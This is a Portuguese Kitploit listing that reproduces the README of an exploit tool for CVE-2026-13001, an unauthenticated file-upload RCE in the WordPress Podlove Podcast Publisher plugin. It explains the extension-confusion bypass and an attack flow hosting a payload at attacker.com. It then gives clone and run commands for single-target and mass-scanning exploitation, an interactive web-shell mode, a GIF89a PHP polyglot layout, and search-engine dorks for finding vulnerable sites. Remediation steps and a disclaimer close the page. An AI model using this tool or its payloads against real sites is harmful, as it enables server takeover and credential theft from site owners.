Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-13001 — Exploit para CVE-2026-13001: RCE não autenticado no Podlove Podcast Publisher via confusão de extensão. Inclui varredura em massa, shell interativo e payload poliglota PHP GIF89a. | Kitploit
Ferramentas/GitHubGitHub/ghostpels/cve-2026-13001
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubghostpels/cve-2026-13001

CVE-2026-13001

Exploit para CVE-2026-13001: RCE não autenticado no Podlove Podcast Publisher via confusão de extensão. Inclui varredura em massa, shell interativo e payload poliglota PHP GIF89a.

Ver Repositório
1há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-13001

Podlove Podcast Publisher <= 4.5.1 — RCE Não Autenticado via Confusão de Extensão

CVSS 9.8 (Crítico) | Upload Arbitrário de Arquivo Não Autenticado levando à Execução Remota de Código


Visão Geral

Vulnerabilidade crítica no plugin WordPress Podlove Podcast Publisher (versões até e incluindo 4.5.1) que permite que atacantes não autenticados enviem arquivos PHP arbitrários para o servidor por meio da funcionalidade de cache de imagens, levando à Execução Remota de Código (RCE).

A vulnerabilidade explora uma discrepância entre duas funções internas que analisam extensões de arquivo de maneiras diferentes:

FunçãoMétodoEntrada: payload.php?.gifResultado
is_image()basename() seguido de pathinfo()payload.php?.gif.gif (passa na validação)
extract_file_extension()parse_url() seguido de pathinfo()/payload.php.php (salvo em disco)

Detalhes da Vulnerabilidade

CampoValor
CVE IDCVE-2026-13001
CVSS9.8 (Crítico)
CWECWE-20 (Validação Incorreta de Entrada)
PluginPodlove Podcast Publisher
AfetadoVersões até e incluindo 4.5.1
Corrigido4.5.2
TipoUpload Arbitrário de Arquivo Não Autenticado para RCE
PesquisadorTalal Nasraddeen (via Wordfence)
Publicado14 de julho de 2026

Análise da Causa Raiz

A vulnerabilidade existe porque duas funções no plugin Podlove analisam a mesma URL mas extraem extensões de arquivo diferentes:

1. is_image() — Validação (em lib/helper.php)

root@kitploit:~
// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif"  <- BYPASS!

A função verifica:

  • Verificação baseada em conteúdo via exif_imagetype() - requer cabeçalho de imagem válido (GIF89a)
  • Verificação de tipo de arquivo do WordPress via wp_check_filetype_and_ext()
  • Lista de bloqueio de extensões (php, php3, php4, php5, phtml, phar, etc.)

Como basename() inclui a string de consulta, a extensão aparece como gif - não está na lista de bloqueio.

2. extract_file_extension() — Nomeação de Arquivo (em lib/model/image.php)

root@kitploit:~
// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"

O arquivo é salvo com a extensão .php no disco.


Fluxo de Ataque

root@kitploit:~
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
   (File starts with GIF89a header but contains PHP code)

2. Exploit appends ?.gif to URL: payload.php?.gif
   Then hex-encodes the full URL

3. Trigger cache download:
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. Plugin processing:
   a. Downloads file from attacker URL
   b. is_image() checks content: GIF89a header detected - PASS
   c. is_image() checks extension: basename sees "gif" - PASS
   d. extract_file_extension() uses parse_url path: gets "php"
   e. File saved as: test_original.php

5. File location:
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. Attacker accesses the file with parameters -> RCE achieved

Instalação

root@kitploit:~
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Uso

Alvo Único

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

Varredura em Massa

root@kitploit:~
python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

Modo Interativo (acesso direto ao arquivo enviado)

root@kitploit:~
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

Modo de Depuração

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

Opções

root@kitploit:~
-u, --url          Single target URL
-f, --file         File containing target URLs (one per line)
-s, --shell        URL hosting the GIF89a PHP polyglot
--filename         Custom filename for cached file (default: shell)
--shell-url        Direct URL for interactive mode
-o, --output       Output file for vulnerable targets (bulk mode)
-t, --threads      Number of threads (default: 10)
-v, --verbose      Verbose output
--debug            Debug output (show all HTTP requests)
--no-payload-test  Skip payload accessibility test

Payload: Poliglota PHP GIF89a

O shell_polyglot.gif.php é um arquivo poliglota que é válido tanto como imagem GIF quanto como PHP:

root@kitploit:~
GIF89a        <- Valid GIF header (passes exif_imagetype check)
/*            <- Start of comment (GIF binary data is commented out for PHP)

<?php         <- PHP code begins here
// ... code ...
?>

Importante: O poliglota deve ser hospedado como um arquivo estático (ex.: Cloudflare R2, AWS S3, nginx sem PHP). Se o servidor de hospedagem processar PHP, o código é executado no servidor de hospedagem em vez de ser entregue como conteúdo bruto ao alvo.


FOFA / Shodan / ZoomEye

root@kitploit:~
# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"

Impacto

A exploração bem-sucedida resulta em execução remota de código como o usuário do servidor web:

  • Extrair credenciais de banco de dados do wp-config.php
  • Acessar todos os usuários, posts e dados de plugins do WordPress
  • Implantar mecanismos de acesso persistente
  • Fazer pivô para redes internas
  • Comprometimento total do servidor

Remediação

  1. Atualize para Podlove Podcast Publisher 4.5.2 ou posterior
  2. Exclua o conteúdo do diretório wp-content/cache/podlove/
  3. Audite o servidor em busca de arquivos PHP desconhecidos nos diretórios de cache
  4. Monitore os logs de acesso em busca de requisições suspeitas de podlove_image_cache_url

Relação com CVE-2025-10147

Esta vulnerabilidade é um contorno da correção para CVE-2025-10147 (Podlove <= 4.2.6).

AspectoCVE-2025-10147 (v4.2.6)CVE-2026-13001 (v4.5.1)
Causa raizNenhuma validação de tipo de arquivoContorno de validação via confusão de extensão
TécnicaUpload direto de arquivo PHPPoliglota GIF89a + truque de query na URL
Correção aplicadaAdicionado is_image() com lista de bloqueioCorrigida a consistência do parsing de extensão

Consulte analysis/CVE_COMPARISON.md para uma comparação detalhada.


Referências

  • Wordfence Advisory
  • GitHub Fix Commit
  • WordPress Plugin Page
  • NVD Entry

Aviso Legal

APENAS PARA FINS EDUCACIONAIS E DE TESTES AUTORIZADOS.

Esta ferramenta é destinada a pesquisadores de segurança e testadores de penetração com autorização explícita por escrito para testar sistemas alvo. O acesso não autorizado a sistemas de computador é ilegal. Os autores não assumem nenhuma responsabilidade pelo uso indevido desta ferramenta.


Autor

ghostpel-sec — Pesquisa em Segurança e Desenvolvimento de Exploits

Licença

Este projeto está licenciado sob a ghostpel-sec Security Research License.

Baixar ferramenta